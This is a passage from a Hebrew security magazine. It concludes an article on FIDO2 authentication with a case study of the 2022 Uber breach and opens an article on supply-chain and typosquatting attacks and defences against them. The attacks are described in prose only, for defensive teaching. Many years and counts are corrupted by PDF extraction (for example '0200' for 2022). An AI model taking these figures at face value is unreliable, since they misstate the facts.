‫‪ Windows 10 \ Windows 11‬מייצגים את הפלטפורמה‪ .‬שניהם מכילים את ‪Win32 Platform‬‬ ‫‪‬‬
‫‪.WebAuthn APIs‬‬
‫אין מוצר ‪ proprietary‬של ‪ Microsoft‬שמהווה את ‪ Roaming Authenticators‬בשירטוט מדוע? ובכן‪,‬‬ ‫‪‬‬
‫הסיבה לכך היא מכיוון שיש כבר ‪ ecosystem‬מבוססת של מוצרים שמתמחים באימות חזק‪ ,‬ולכל לקוח‬
‫(בין אם תאגידים או אנשים) יש דרישות שונות לאבטחה‪ ,‬קלות שימוש‪ ,‬הפצה ושחזור חשבון‪.‬‬
‫‪ Microsoft‬פשוט לא הייתה צריכה להיכנס לתחום הזה ולהשקיע ב‪ R&D-‬למימוש מוצר משלה כשיש‬
‫כמעט ‪ )!( 1222‬מוצרים קיימים‪ .‬שווה לציין כי ‪ Windows Hello‬מהווה ענף נפרד מאשר מאפשר אימות‬
‫מבוסס ‪ FIDO2‬אבל למרות שהוא מגיע עם מערכת ההפעלה הוא לא תמיד יהווה את הבחירה‬
‫האינטואיטיבית‪.‬‬
‫למידע נוסף על הרשימה ההולכת וגודלת של מאמתים עם אישור ‪ FIDO2‬שווה לקפוץ לקישור הבא‪.‬‬
‫הרשימה כוללת מאמתים מובנים‪ ,‬מאמתים נודדים ואפילו יצרני שבבים בעלי ‪ designs‬מאושרים‪ .‬סה"כ‬
‫כמעט ‪ 1222‬מאמתים שונים בעת כתיבת המאמר‪.‬‬
‫מקרה בוחן ‪Uber breach 2022 -‬‬
‫נסכם את המאמר הראשון מבין השניים ואת אפקטיביות ההגנה שמספקת הזדהות מבוססת ‪ FIDO2‬עם‬
‫דוגמה פרקטית מהתקופה האחרונה ‪ -‬ניתוח אירוע הפריצה האחרון לחברת ‪.Uber‬‬
‫ב‪ 15-‬לספטמבר ‪ 0200‬השיגו תוקף(ים) את פרטי ה‪( Login-‬שם משתמש וסיסמה) של עובד בחברת ‪Uber‬‬
‫לשירות ה‪ VPN-‬של החברה‪ .‬שירות ה‪ VPN-‬משמש עובדים מרחוק לצורך חיבור לרשת הפנימית של ‪Uber‬‬
‫(ולאפשר עבודה מהבית תוך מתן גישה לשירותים ברשת הפנימית של החברה)‪.‬‬
‫לא ידוע כיצד השיגו התוקפים את פרטי ה‪ ,Login-‬האם באמצעות נוזקה שהותקנה על מחשב העובד‬
‫ושלחה את פרטי ההתקשרות לתוקפים‪ ,‬באמצעות קניית ‪ threshold access credentials‬בפורום מחתרתי‬
‫או עקב ביצוע ‪ Phishing‬לעמוד הכניסה ל‪ VPN-‬אליו הוזנו פרטי העובד‪.‬‬
‫לצורך התחברות לחשבון ה‪ VPN-‬נדרש העובד להזין את פרטי ‪ ,Login‬ובנוסף לאשר את החיבור באמצעות‬
‫‪ MFA‬שבמבוסס על אישור ההתחברות בהודעת ‪ Push notification‬שנשלחת למכשיר הסלולארי של העובד‬
‫שעליו ללחוץ עליה לאישור את ההתחברות ל‪.VPN-‬‬
‫על מנת להתגבר על מנגנון ה‪ MFA-‬התוקפים עשו שימוש בהנדסה חברתית (‪)Social engeneering‬‬
‫מבוססת ‪( MFA Fatigue‬התשת ההזדהות הדואלית)‪ .‬בכל נסיון חיבור של התוקפים ל‪ VPN-‬נשלחה לעובד‬
‫הודעה על נסיון התחברות (שלא הוא ביצע)‪ .‬לאחר עשרות סירובים של העובד לביצוע ההתחברות‪,‬‬
‫התקבלה הודעת מייל מהתוקפים שהתחזו ל"צוות ה‪ "IT-‬של ‪ Uber‬על תקלה בהתחברות לשירותי ה‪VPN-‬‬
‫וביקשו מהעובד לאשר את ההתחברות על מנת להפסיק את הבקשות הבלתי פוסקות‪.‬‬

‫‪38‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫לאחר אישור הבקשה‪ ,‬קיבלו התוקפים גישה לרשת הפנימית של ‪ .Uber‬מכאן‪ ,‬הכניסה לרשת ‪ UBER‬הייתה‬
‫סלולה בפני התוקפים לחיפוש חולשות ‪,‬סיסמאות ‪, misconfiguration,‬ושימוש בכלי תקיפה מוכרים ברשת‬
‫הפנימית‪ .‬נמצא ‪ Share point‬פנימי עם קבצי ‪ Powershell‬שכללו סיסמאות גלויות (‪ )clear text‬למערכת ה‪-‬‬
‫‪ PAM‬של ‪ - Privileged Access Management( Uber‬מערכת לניהול הרשאות וסיסמאות ליישומים‬
‫ארגוניים)‪ .‬מכאן קצרה הדרך לקבלת הרשאות מנהלן ל‪ ,Slack-‬למערכת ניטור הסייבר ‪,sentinelOne‬‬
‫לשירותי ה‪ ,AWS-‬ה‪ VMware sphere-‬ואל ‪( hackerOne‬שככול הנראה מכילה פגיעויות בקוד של יישומי‬
‫‪.)uber‬‬
‫ל‪ CyberArk-‬יש תרשים פנטסטי שמתאר את מהלך התקיפה‪:‬‬
‫[מקור ‪]https://www.cyberark.com/resources/blog/unpacking-the-uber-breach -‬‬
‫למזלה של ‪ Uber‬התקיפה לא בוצעה למטרות כופר או ריגול תעשייתי‪ ,‬אלה להאדרת שמו של התוקף‬
‫(שהתברר כנער בן ‪ ,17‬ספק אם חבר ב‪ , Lapsus$-‬ולכאורה הספיק לפרוץ גם ל‪ GTA6-‬ולעבור ‪ dox‬על ידי לא‬
‫אחר מ‪ pompompurin-‬הבעלים של ‪ )BreachForums‬ולכן התוקף הקפיד לעדכן בזמן אמת על ההתקדמות‬
‫התקיפה‪.‬‬

‫‪39‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫תמונות כמו זו‪ ,‬שותפו בכל מקום‪:‬‬
‫ניתן למצוא מגוון פערי אבטחה שאפשרו את התקיפה (וכנראה שבראשם שמירת סיסמאות גלויות למערכת‬
‫ה‪ )PAM-‬אבל באמצעות שימוש באימות מבוסס ‪( FIDO2‬במקום מימוש ה‪ MFA-‬הלקוי שביצעו ‪ )Uber‬ניתן‬
‫היה למנוע את הגישה של התוקפים אל חיבור ה‪ VPN-‬ולמנוע את התקיפה מלכתחילה‪:‬‬
‫‪ .1‬בניגוד למימוש ה‪ MFA-‬שבוצע ב‪ Uber-‬שהסוד כלל לא נשמר עליו (ה‪ MFA-‬שימש רק כאישור נוסף‬
‫לפרטי ה‪ Login-‬שהוזנו לאתר‪ ,‬כך שה"סוד" שאיפשר גישה לשירות הוא שם המשתמש והסיסמא)‬
‫באימות מובסס ‪ FIDO2‬הסוד עצמו שמור על ה‪ Authenticater-‬וכלל איננו נגיש למשתמש (שאיננו מודע‬
‫לפרטי ה‪ Private key-‬ששמורים על אמצעי הזיהוי‪ ,‬ולא יכול למסור אותם לגורם חיצוני)‪ .‬הפיצול שעשו‬
‫ב‪ Uber-‬בין הסוד ואמצעי ה‪ MFA-‬אפשרה את הפריצה ל‪.VPN-‬‬
‫‪ .0‬אמצעי הזיהוי ב‪ FIDO2-‬דורשים חיבור פיזי של אמצעי הזיהוי (ה‪ )Authenticator-‬לפלטפורמה ממנה‬
‫מבקשים את השירות (לדוגמה‪ :‬נדרש חיבור ‪ USB‬של אמצעי האימות למחשב)‪ ,‬או קרבה פיזית בין‬
‫המזהה לפלטפורמה (לדוגמה‪ :‬בהזדהות לשירות במחשב‪ ,‬אמצעי הזיהוי מקושר למחשב בתקשורת‬
‫קצרת טווח מבוססת ‪ BLE‬או ‪ - )NFC‬באופן זה‪ ,‬לא ניתן להוציא את פרטי ה‪ Login-‬ללא גישה פיזית‬
‫לאמצעי‪ .‬לדוגמה‪ :‬רק עם חיבור ה‪ Yubikey authenticator-‬לממשק ה‪ ,USB-‬והזנת פרטי ה‪Login-‬‬
‫לאתר‪ ,‬תנתן גישה לשירות ה‪ .VPN-‬בחלק מאמצעי הזיהוי של ‪ FIDO2‬המשתמש נדרש להזין טביעת‬
‫אצבע (בין אם בטלפון או במחשב) על מנת לבצע את ההתחברות‪ .‬פרטים אלו אינם ניתנים להעברה‪,‬‬
‫ומונעים אפשרות להוצאה במרמה של פרטי ה‪.Login-‬‬
‫‪ .3‬כפי שראינו‪ FIDO2 ,‬כולל מנגנון הגנה מובנה מפני תקיפות ‪( Phishing‬שליחת שם האתר המדויק‬
‫במסגרת הודעת ה‪ Challenge\Response-‬הראשונה שנשלחת למשתמש מהשרת) ‪ -‬תמיכה של שרת‬
‫ה‪ VPN-‬בפרוטוקול ‪ WebAuthn‬היה מונע את השגת פרטי ה‪ Login-‬של העובד לשרת ה‪.VPN-‬‬

‫‪40‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫לסיכום‪ ,‬בגישה לשירותים קריטיים בפרימטר המאוים של הארגון (חיבור המשתמשים מהבית לרשת‬
‫הפנימית ע"ג רשת האינטרנט) היה נכון להשתמש באמצעי אימות מאובטח יותר כדוגמת ‪ FIDO2‬ובכך‬
‫לדרוש הזדהות באמינות גבוהה עם קרבה פיזית של ה‪ Authenticator-‬לפלטפורמה ממנה מתבצעת‬
‫ההתחברות‪ .‬את זה אי אפשר לעשות מלונדון אל אמריקה בקלות רבה כל כך‪.‬‬
‫סיכום‬
‫הזדהות משתמשים באמצעות ‪ FIDO2‬מונעת שימוש בסיסמאות חלשות או סיסמאות חוזרות‪ ,‬גישה‬
‫לשירותים באמצעות גניבת זהות המתשמש ומקשה מאוד על תקיפות ‪ Social engeneering‬ו‪.Phishing-‬‬
‫בפועל‪ ,‬משתמש הקצה כבר לא נדרש לזכור או להזין סיסמאות אלה לעשות שימוש ב‪ Authenticator-‬עליו‬
‫נשמרים הסודות לכל שירות אליו הוא נרשם‪.‬‬
‫נכון להיום‪ ,‬התשתית לשימוש ב‪ FIDO2-‬קיימת ‪ -‬מרבית הדפדפנים תומכים בתקן‪ ,‬ישנן ‪Frameworks‬‬
‫עתירות כוכבים ב‪ Github-‬למימוש ‪ FIDO2‬במגוון שפות תכנות ומתפתח שוק רחב של אמצעי הזדהות‬
‫במחירים שווים לכל נפש‪ .‬למרות זאת‪ ,‬רק מעט שירותים תומכים כיום בהזדהות מבוססת ‪.FIDO2‬‬
‫בשונה ממה שאומרים בבחירות‪ ,‬בתהליכי טרנספורמציה דיגיטלית השינוי מתחיל מלמעלה ולא מלמטה‪.‬‬
‫סטאטוס של גדולות הטכנולוגיה (שתכל'ס די מצופה מהן להוביל את התהליך) הוא שיקבע את כניסת השינוי‬
‫והמעבר למימוש מלא ורחב של טכנולוגיות חדשות כמו ‪.FIDO2‬‬
‫כשאנחנו מביטים על ענקי הדפדפנים והיצרניות שדוחפות את הקידמה בהם‪Chrome ,Chrome Desktop :‬‬
‫אה שמחוגי הטכנולוגיה נעים‬
‫ר ָ‬
‫‪ Safari iOS ,Safari macOS ,Firefox ,Microsoft Edge ,Android‬לא תמיד ִנ ְ‬
‫בקצב שהיינו מקווים לו (מספיק להסתכל על הסטאטוס של ‪ Apple‬בנושא התמיכה ב‪ CTAP2-‬שכבר שנים‬
‫עומד במקום) אבל חשוב לזכור כי מדובר בתהליך‪ .‬תהליך שמטרתו בסופו של יום‪ ,‬עם כל הקיטשיות‪ ,‬להפוך‬
‫את האינטרנט למקום בטוח יותר‪.‬‬
‫כאן מסתיים לו המאמר הראשון מבין השניים שהכנו‪ .‬כלל המאמר עסק בהסבר ‪ Hige level‬ובלא מעט‬
‫ניפנופי ידיים בנוגע לטכנולוגית ‪ FIDO2‬ולמעשה היווה הכנה נוחה למאמר הבא אשר מיועד להיות‬
‫משמעותית יותר ‪ hands-on‬עבור אלו שרוצים להבין כיצד האימות מתרחש "באמת" ‪ -‬איזה מידע עובר‪,‬‬
‫כיצד הוא נראה וכיצד הוא ת'כלס מונע מתקפות בשלב האימות‪ .‬יש למה לצפות‪.‬‬
‫על הכותבים‬
‫יהונתן אלקבס‪ ,‬בן ‪ ,08‬חוקר אבטחת מידע בחברה לא קטנה ולא פרטית‪ .‬חובב סוקולנטים‪ ,‬סודה וקפה‪.‬‬
‫אלון בר סלע‪ ,‬אבא של כרמל‪ ,‬הלל‪ ,‬אוריה ואמה‪ .‬מנהל אבטחת מידע בחברה לא קטנה ולא פרטית‪.‬‬

‫‪41‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪Supply Chain & Open Source Attacks‬‬
‫מאת נועם רשקובסקי‬
‫הקדמה‬
‫באוגוסט האחרון שמעתי ש‪( Checkmarx-‬חברת אבטחת מידע ישראלית) עושים מפגש בנושא ‪Open‬‬
‫‪ Source‬והמשמעויות של השימוש בו‪ ,‬ואחריו מציגים הקרנת בכורה לסרט החדש של ‪ .Thor‬כמובן שמאוד‬
‫התעניינתי בהקרנה ‪ -‬אה סליחה‪ ,‬בהרצאות‪ ,‬ובאתי‪ .‬אני חייב להגיד שבהתחלה חשבתי שאין הרבה תוכן‬
‫בעולם הזה‪ ,‬מסתבר שדווקא יש הרבה‪.‬‬
‫במאמר זה‪ ,‬אסביר אילו מתקפות יש לקוד פתוח (‪ ,)Open Source‬אתן דוגמאות למתקפות‪ ,‬איך נוכל להגן‬
‫מפניהן ואציג כלי שכתבתי שיכול לסייע בהגנה‪.‬‬
‫‪Open Source‬‬
‫ראשית חשוב להבין בכלל מה זה קוד פתוח‪ .‬קוד פתוח הוא קוד שנגיש וחופשי לשימוש של הכלל‪ .‬כלומר‪,‬‬
‫שאני כמפתח רוצה לתכנת משהו‪ ,‬לדוגמה תוכנת מחשבון‪ ,‬אני לא ארצה עכשיו לממש את הקוד לחזקה או‬
‫ללוגריתם‪ .‬כמובן שאני גם לא המתכנת הכי טוב שאני מכיר‪ ,‬ויש הרבה אנשים שיותר טובים ממני והאנשים‬
‫האלה יכתבו את הקוד בצורה יעילה וטובה יותר ממני‪ .‬מכאן נובעת שאלה איך אני לוקח את המוח של‬
‫אנשים אחרים ונותן להם לכתוב את הקוד בשבילי? כאן נכנס הקונספט של קוד פתוח‪ .‬אנשים חכמים מאוד‬
‫באינטרנט החליטו להפיץ את הקוד שלהם לאנשים שרוצים להשתמש בו‪.‬‬
‫זאת אומרת‪ ,‬שאם אני רוצה להשתמש בפונקציה של חזקה‪ ,‬אני יכול להשתמש בקוד של מישהו (מ‪github-‬‬
‫או אתרים בסגנון) ולהעתיק אותו לקוד שלי‪ ,‬אפילו להשתמש בספרייה שהם כתבו‪ ,‬או לקחת את המימוש‬
‫שלהם למחשבון ולהשתמש בו לטובתי‪.‬‬

‫‪42‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫המתקפות‬
‫אז הכול נשמע טוב ‪ -‬אני יכול לקחת קוד של אנשים אחרים‪ ,‬הם יכולים לקחת ממני קוד‪ ,‬הזמן שלי יכול‬
‫להיות מנוצל על דברים אחרים‪ ...‬אז מה הבעיה בעצם?‬
‫הבעיה הראשונה היא שאני לא מכיר את המפתח השני ולא יודע אם הוא אדם ישר שלא מנצל את עמדתו‪.‬‬
‫זאת אומרת‪ ,‬שהקוד שלו עושה את מה שהוא אמור לעשות‪ ,‬והוא לא מוסיף גם קוד זדוני‪ ,‬לדוגמא כמו שקרה‬
‫לא מזמן עם המתכנת של "‪ ,"node-ipc‬ספריה שמטרתה לאפשר תקשורת בין תהליכים ב‪( java-‬את‬
‫הספריה הזאת הורידו ‪ 64‬מיליון פעמים)‪.‬‬
‫]‪]https://www.npmjs.com/package/node-ipc‬‬
‫כותב הספריה רצה להביע את עמדתו לגבי המלחמה בין אוקראינה ורוסיה‪ ,‬והוסיף לקוד שלו פונקציה‬
‫שכאשר הוא מזהה ריצה על מחשב אשר נמצא ברוסיה‪ ,‬הוא מוחק את כל הקבצים שנמצאים עליו‪.‬‬
‫בכללי הקונספט שעשע אותי‪ ,‬ואז הבנתי שהוא יכל לעשות עוד דברים ולהגיע מאוד רחוק‪ .‬ככל שהספריה‬
‫יותר מוכרת‪ ,‬היא תגיע ליותר אנשים‪ ,‬והסכנה למתקפה גדלה עוד יותר‪ .‬לדוגמה‪ ,‬חברות גדולות בעלות‬
‫תוכנות נרחבות (פייסבוק‪ ,‬אינסטגרם‪ )...‬יכולות להשתמש בספריה הזו בתמימות כי היא מוכרת‪,‬‬
‫ופוטנציאלית להפיץ למשתמשים שלהן קוד זדוני‪.‬‬
‫בעיה נוספת שיכולה להיות היא ‪ .Typosquatting‬כלומר‪ ,‬ספרייה שמתחזה עם שם דומה לספרייה מוכרת‬
‫אחרת‪ .‬לדוגמה‪ ,‬אני שומע על ספרייה ממש טובה בשביל חישובים מתמטיים בפייתון‪ ,‬לצורך הדוגמה‬
‫שמעתי שקוראים לה "‪ ,"numpy‬וכאשר הסתכלתי על הספרייה באתר הלגיטימי של ‪ pypi‬ראיתי שיש גם‬
‫"‪ "numpy‬וגם "‪ ."numpy2‬כשהסתכלתי על הדוקומנטציה של שתיהן‪ ,‬ראיתי של‪ numpy2-‬יש שידרוגים של‬
‫יעילות קוד‪ ,‬ועוד מערכות מתמטיקאיות שאין ל‪.numpy-‬‬
‫אז כמובן שאני אוריד את ‪ ,numpy2‬אשתדרג‪ ,‬למה לא? אני אשתמש בספרייה ואראה שהכול טוב והיא‬
‫עושה את מה שהבטיחה‪ .‬רק שלצערי‪ ,‬אחרי כ‪ 4-‬חודשים‪ ,‬אני אגלה שכל מי שהשתמש ב‪ numpy2-‬מתלונן‬
‫כי הסיסמאות שלו ל‪( github-‬שנשמרו בצורה לא מוצפנת על מחשב של משתמש ב‪ )git cli-‬הודלפו לרשת‬
‫וכמובן שרק אחרי כ‪ 3-‬חודשים יישמו פתרון והספרייה תמחק מהאתר‪ .‬בעיה זו של סיכול בשם הספרייה‬
‫יכולה לקרות גם כשאני מוריד ספרייה באמצעות פקודה‪ ,‬ומוסיף בטעות עוד אות או מספר‪ .‬אני יכול להוריד‬
‫את הדבר הלא נכון‪ ,‬הרי בשביל להוריד משהו אני רק צריך לכתוב "‪ "pip install numpy‬אז אני יכול לכתוב‬
‫בטעות‪."pip install numpy2" :‬‬

‫‪43‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫בעיה אחרת שיכולה להיות היא שהאנשים שעובדים על הפרוייקט\ספרייה יכולים בכול רגע לעזוב או לזנוח‬
‫אותו‪ ,‬בגלל שלרוב היוצרים אכפת מהפרוייקט שלהם הם יכולים להעביר אותו למישהו אחר שעליו אולי ניתן‬
‫לסמוך פחות מהיוצר המקורי‪ .‬אפילו יותר גרוע‪ ,‬בשנת ‪ 0218‬להרבה מהיוצרים היו סיסמאות מאוד חלשות‬
‫ואף זהות לשם המשתמש שלהם‪ ,‬שלרוב לא שמו ‪ ,Two Factor Authentication‬מה שהוביל לפריצה‬
‫לחשבונות ופרוייקטים של משתמשים‪ ,‬שיכל להוביל גם לשינוי הפרוייקט ללא ידיעתו של היוצר‪.‬‬
‫עוד בעיה שיכולה להתרחש‪ ,‬הוא שימוש בספרייה אשר הספריות הנוספות עליה היא מסתמכת זדוניות‪.‬‬
‫נגיד ואתם (הקוראים) האנשים הכי חשדנים‪ ,‬לכן תמיד כשאתם משתמשים בספרייה אתם סורקים את הקוד‬
‫שלה לפני השימוש ואתם לא רואים משהו יותר מידי חשוד בקוד של המתכנת‪ .‬אך אתם מגלים מאוחר יותר‬
‫שהייתה בעיה בספריה הזו‪ ,‬שהתבטאה בשימוש בספרייה נתמכת שבה היה פוגען‪.‬‬
‫מכאן יכולים לקרות שני דברים‪ :‬או שהמפתח של אותה ספרייה הכניס את אותה הספרייה הזדונית בכוונה‪,‬‬
‫או שהוא באמת עשה טעות והשתמש בספרייה עם פוגען והפיץ אותו מבלי לדעת‪ .‬בכל מקרה‪ ,‬קשה לעקוב‬
‫אחרי כל ייבוא של ספרייה נוספת מתוך ספרייה אחת ראשית‪ ,‬מה שמוביל לנושא גדול יותר‪.‬‬
‫‪Supply Chain‬‬
‫שרשרת אספקה הוא קונספט שאומר שלכל פרוייקט\ארגון באשר הוא יש איזושהי שרשרת של ארגונים‪,‬‬
‫משאבים‪ ,‬טכנולוגיות וחברות אחרות שמספקות לו שירותים בשביל שהוא יוכל לעבוד בצורה מיטבית‬
‫ויעילה‪ .‬למשל‪ ,‬צבא‪ ,‬התוצר שצבא צריך להביא למדינה שלו הוא בעיקר ביטחון‪ ,‬לשם כך הוא צריך כוח אדם‪,‬‬
‫מזון‪ ,‬חיילים שיודעים להכשיר אחרים (בעלי ידע)‪ ,‬תקשורת עם מפקדיו וחמ"ל (חדר מלחמה)‪ ,‬רפואה‪,‬‬
‫מודיעין‪ ,‬נשקים וכדומה‪ .‬מזון ומודיעין‪ ,‬למשל‪ ,‬לאו דווקא מגיע מהצבא עצמו‪ ,‬אלא מסופקים מגורמים‬
‫חיצוניים‪.‬‬
‫פגיעה בשרשרת אספקה מתבטאת בפגיעה באחד המשאבים של ארגון‪ ,‬בדגש על משאבים מחברות‬
‫חיצוניות‪ .‬נמשיך עם הדוגמה של הצבא‪ ,‬בהנחה והצבא שלנו מותקף ואנחנו צריכים להתגונן מאויב שמנסה‬
‫להיכנס עמוק יותר למדינה שלנו‪ ,‬אנחנו יכולים לנסות לחשוב מה האויב הזה צריך כאשר הוא רוצה לצאת‬
‫למבצע שכזה‪ .‬אנחנו יכולים להניח שגם לאויב יש שרשרת אספקה דומה לשלנו‪.‬‬
‫על מנת לנטרל אותו או להאט אותו‪ ,‬נוכל לפגוע או להכשיל מספר גורמים שהאויב משתמש בהם‪ .‬כגון‪,‬‬
‫ווידוא שהמודיעין של אותו צבא יהיה שגוי‪ ,‬דבר שיגרום לבילבול וקושי בעת הלחימה‪ .‬לחלופין נוכל לפגוע‬
‫בתשתיות‪ ,‬בין אם זה לפגוע לאויב בתקשורת הפנימית עם הפיקוד‪ ,‬או לפגוע במעבר של מזון לפלוגה‬
‫העויינת‪ .‬דברים אלו יכולים לשבש פעולות פנימיות ממחוץ לשורות האויב‪.‬‬

‫‪44‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫המתקפות‬
‫כפי שצבא נתקף יכול לחשוב על דרכים לפגיעה באויב מבחוץ ולאו דווקא ישירות בלוחמים‪ ,‬גם תוקפים‬
‫ברשת יכולים לפגוע בסביבה של חברה בצורה לא ישירה‪ .‬אם אתם משתמשים באפליקציה כלשהי לפיתוח‪,‬‬
‫למשל כמו ‪( Visual Studio‬תוכנה מאת מייקרוסופט לעזרה לכתיבת קוד בכל מיני שפות תכנות‪ ,‬אפליקציה זו‬
‫מוכרת ומשתמשים בה ביום יום כותבי קוד רבים)‪ .‬יום אחד יוצא עדכון לאפליקציה‪ ,‬אתם משדרגים ואתם‬
‫לא חווים שום דבר חדש או מיוחד‪ ,‬חוץ משימוש גבוה בזיכרון המחשב‪.‬‬
‫התנהגות זו יכולה לקרות גם בצורה רגילה באפליקציה‪ ,‬לכן אינכם חושדים בדבר‪ .‬אך זמן לא רב לאחר‬
‫השדרוג‪ ,‬החברה משחררת הודעה שהיא מתנצלת על הימצאות ‪( Cryptominer‬פוגען שמטרתו להשתמש‬
‫במשאבי המחשב בשביל לכרות מטבעות דיגיטליים) שנכנס בלא יודעין בעדכון‪ .‬מתקפה כזו קרתה גם‬
‫באמת‪ ,‬ושמה ‪ .Sunburst‬היא התרחשה בחברת ‪ ,SolarWinds‬באפליקציה ‪( Orion Network‬מטרת‬
‫האפליקציה היא למצוא‪ ,‬לאבחן ולטפל בבעיות תקשורת ברשת כלשהיא)‪ .‬בשנת ‪ 0202‬חברה זו נפרצה‬
‫והושתלה דלת אחורית אשר מאפשרת לתוקפים שיצרו אותה הרצת קוד ברשת‪ .‬מאות חברות הושפעו‬
‫מהתקיפה‪ ,‬בינהן אפילו המחלקה לביטחון המולדת של ארה"ב‪.‬‬
‫אתם בתור מתכנתים שמשתמשים בספרייה מוכרת‪ ,‬שאפילו חברות כמו מייקרוסופט‪ ,‬אמזון‪ ,‬ו‪VMware-‬‬
‫משתמשות בה וסומכים עליה ועל התוכן שבה‪ .‬עדיין‪ ,‬גם בספריות מוכרות ונפוצות‪ ,‬יש סיכוי להמצאות קוד‬
‫זדוני ודווקא הנרחבות של הספרייה יכולה להוות בעיה‪ .‬מקרה כזה יכל להתרחש עם ספריית‪ log4j ,‬שהיא‬
‫תוכנה שעוזרת לרשום אירועים שקורים באפליקציה שלכם בצורה מאוד נוחה‪ ,‬קריאה ויפה‪.‬‬
‫בשנת ‪ 0201‬התגלתה חולשת הרצת קוד בספרייה הזו‪ ,‬לחולשה קוראים ‪ ,log4shell‬שהייתה משומשת‬
‫בהמון אפליקציות ובהמון מקומות בתוך אפליקציות ענק (כמו ‪ AWS‬או ‪ .)ESXi‬אך למה החולשה הזו נחשבת‬
‫למתקפת שרשרת אספקה? למרות שהבעיה היא פגיעות בקוד הפתוח של הספרייה‪ ,‬היא נכנסה‬
‫לאפליקציות גדולות יותר והיוותה משאב בשרשרת השירותים שמסופקים לחברות ענק‪ .‬כלומר‪ ,‬בגלל‬
‫הפגיעה בשירות שמסופק לאפליקציה כלשהי‪ ,‬האפליקציה עצמה נפגעה וכתוצאה מכך המשתמשים‪.‬‬
‫חשוב לציין שבמתקפות של שרשרת אספקה לרוב המשתמש הפשוט לא מודע למה שקורה מאחורי‬
‫האפליקציות לכן קשה לו לדעת שבכלל מתרחשת מתקפה זדונית עליה ועל כן גם עליו‪.‬‬

‫‪45‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫הגנות‬
‫אחרי שראינו את כול הדוגמאות והבנו מה הסכנות בקוד פתוח ובפגיעת בשרשרת אספקה איך אנחנו מגנים‬
‫מדבר שכזה?‬
‫כמובן שלבדוק עכשיו כל אחד מהקודים של כל אחת מהספריות ולעדכן את הספריות באופן גורף‪ ,‬זו משימה‬
‫כבדה‪ .‬לכן יש מערכות כמו ‪ Dependabot‬או ‪( Greenkeeper‬היום נמצאות ב‪ )Snyk-‬שמסתכלות על‬
‫הספריות שאנחנו משתמשים בהן‪ ,‬רואות אם יש עדכון חדש ומעדכנות באופן אוטומטי‪ ,‬בשאיפה תמיד‬
‫להיות ראשון כשיוצא עדכון לבעיה בקוד (יש עוד יכולות חוץ מהיכולת הזו)‪ .‬מעולה‪ ,‬עכשיו האפליקציה שלנו‬
‫תהיה מוגנת מכול החולשות שהתגלו בספריה כלשהי‪ .‬חבל שזה רחוק מהמציאות‪ ,‬גם אם נעדכן כל הזמן‬
‫את הספריות ו"ננקה" את הקוד מחולשות עבר פוטנציאליות‪ ,‬עדיין לא נוכל להיות מוגנים מהמקרה שמישהו‬
‫מקבל שליטה לעידכוני ספריה ומעדכן אותה עם הקוד הזדוני‪.‬‬
‫מה אם נעדכן כל שלושה או אפילו חמישה עדכונים‪ ,‬במטרה לקבל את העדכונים כשהם "איכותיים" יותר‪,‬‬
‫שנבדקו כבר על אנשים אחרים לאורך תקופה כלשהי? גם על זה תוקפים חשבו‪ ,‬ושחררו ‪ 5‬עדכונים ריקים‬
‫וזהים על מנת לעקוף את השיטה הזו‪ .‬קבוצת התקיפה שיישמה את העיקרון הזה נקראת ‪RED-LILI‬‬
‫והתגלתה על ידי חברת ‪ .Checkmarx‬כיום‪ ,‬החברה הרימה אתר ‪ https://red-lili.info‬אשר מנסה לעקוב‬
‫אחרי כל הספריות שמופצות ידי קבוצת תקיפה זו‪.‬‬
‫]‪[https://red-lili.info‬‬

‫‪46‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫נשמע שהכל אבוד ואין מה לעשות‪ .‬אנחנו לא נעבור על כל קוד של כל ספרייה ונראה אם יש שם משהו‪ .‬זה‬
‫יגדיל משמעותית את זמן העבודה אז למזלנו דווקא יש מה לעשות‪ .‬אפשר לסמוך על חברות כמו‬
‫)‪ Checkmarx (not sponsored‬ו‪ Snyk-‬שיעזרו לנו‪ .‬לשתיהן יש הרבה אפליקציות‪ ,‬כגון ‪,Checkmarx SCA‬‬
‫שמטרתה להביא למשתמשים שלהם ספריות וקוד שעבר אנליזות ואבחונים על ידי המערכת שלהם‪,‬‬
‫שבעצם הוא "נקי" ואין בו שום קוד זדוני‪.‬‬
‫יש גם את ‪ Synk SCA‬שמטרתו דומה‪ ,‬אך אצלם אתם משלמים על פונקציונליות נוספות‪ .‬יש אופציה חינמית‬
‫לאפליקציה זו‪ ,‬אך אפשר לעשות רק כ‪ 322-‬בדיקות לחודש‪ ,‬כאשר האופציה הכי "זולה" זה ‪ 522‬דולר ל‪5-‬‬
‫מפתחים לחודש (ל‪ Checkmarx-‬לעוד מידע תוכלו ליצור קשר עם החברה)‪.‬‬
‫יש לנו גם אפשרות אחרת‪ ,‬שהיא לקחת את הבעיה לידיים שלנו ולקחת שליטה מלאה‪ .‬זה גם הפתרון הזול‬
‫לאנשים פרטיים שאין להם כסף לאפליקציות כאלה‪ .‬פה נכנסים לתמונה הפתרונות החינמיים‪ ,‬כמו ‪Hagana‬‬
‫(שנכתב על ידי יעקב ]לא מצאתי את השם משפחה[)‪ ,‬מודול שמטרתו להגן עליכם באמצעות סט חוקים‬
‫שאתם כותבים בעצמכם לאפליקציה שלכם‪ ,‬שמגדירים בדיוק מה האפליקציה יכולה לעשות על פי הצרכים‬
‫הספציפיים שלה (בין אם זו גישה תקשורתית‪ ,‬גישה למערכת הקבצים או הרצת קוד)‪ .‬הספרייה שלו תזריק‬
‫את עצמה לפונקציות הרלוונטיות‪ ,‬בכדי לתפוס את הקריאות לפונקציה ולראות האם הן לגיטימיות או לא‪.‬‬
‫לצערי הרב הספרייה עובדת רק לקוד של ‪ ,nodejs‬ורק על חלק מהפונקציות‪.‬‬
‫לכן החלטתי לכתוב כלי שיעבוד לכל שפת תכנות אשר נכתבה במערכת הפעלה ‪ .Windows‬קוראים לו‬
‫‪ .GuardCode‬בדומה ל‪ GuardCode ,Hagana-‬פועל בתצורת "חוקים"‪ .‬ההבדל הוא שבמקום לכתוב את‬
